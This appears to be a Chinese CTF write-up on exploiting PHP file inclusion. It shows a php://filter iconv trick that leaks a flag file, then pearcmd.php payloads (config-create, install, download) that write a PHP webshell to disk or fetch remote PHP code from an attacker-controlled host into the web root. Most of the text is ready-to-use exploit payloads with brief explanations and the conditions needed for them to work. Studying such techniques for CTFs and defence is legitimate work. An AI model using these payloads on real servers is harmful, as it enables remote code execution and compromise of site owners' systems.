1 |
|
convert.iconv.*过滤器,语法为
1 | convert.iconv.<input-encoding>.<output-encoding> |
1 | UCS-4* |
这里构造
1 | ?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php |
1 | +ADw?php //flag+AHs-d9c5b463-4d11-4acc-9ebe-9e61a2388871+AH0 |
1 | flag{d9c5b463-4d11-4acc-9ebe-9e61a2388871} |
参考链接:https://blog.csdn.net/qq_66013948/article/details/134193451
这个还只是一个非预期解:
可以利用pearcmd进行写文件操作:
直接payload:
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php |
直接?file=/tmp/hello.php
直接出了
pearcmd文件包含:
简介
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;
在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
要利用这个pearcmd.php
需要满足几个条件:
- 要开启register_argc_argv, 这个选项在Docker中使自动开启的
- 要有文件包含的利用
现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上,所以这个利用的范围还是挺大的,可以试试。
利用
环境就先使用php7.4进行测试
HTTP数据包中的query-string会被作为argv
, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。
config-create
利用payload:
1 | 复制成功?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php |
文件包含的点是?file=
成功写入文件
使用的是PEAR_Config
的形式,方法来自p神博客。
install
pear install http://xxxx/test.php
就可以下载php文件,还可以用--installroot
指定目录,这样可以构造payload:
1 | ?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php |
这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/
文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:
1 | ?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php |
这个payload会将文件下载到/tmp/testinstall/tmp/pear/download
下,当然还有别的形式:
1 | ?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php |
这个payload会将文件下载到/tmp/pear/download
下。
download
还有dowanload
形式,参考了:关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog
非常聪明的构造:
1 | ?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php |
原命令是pear download url
,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php
这一部分会被加入pear
执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php
即可。
可以将文件写到当前网站目录下。
当然可能还有别的利用手段需要进一步挖掘。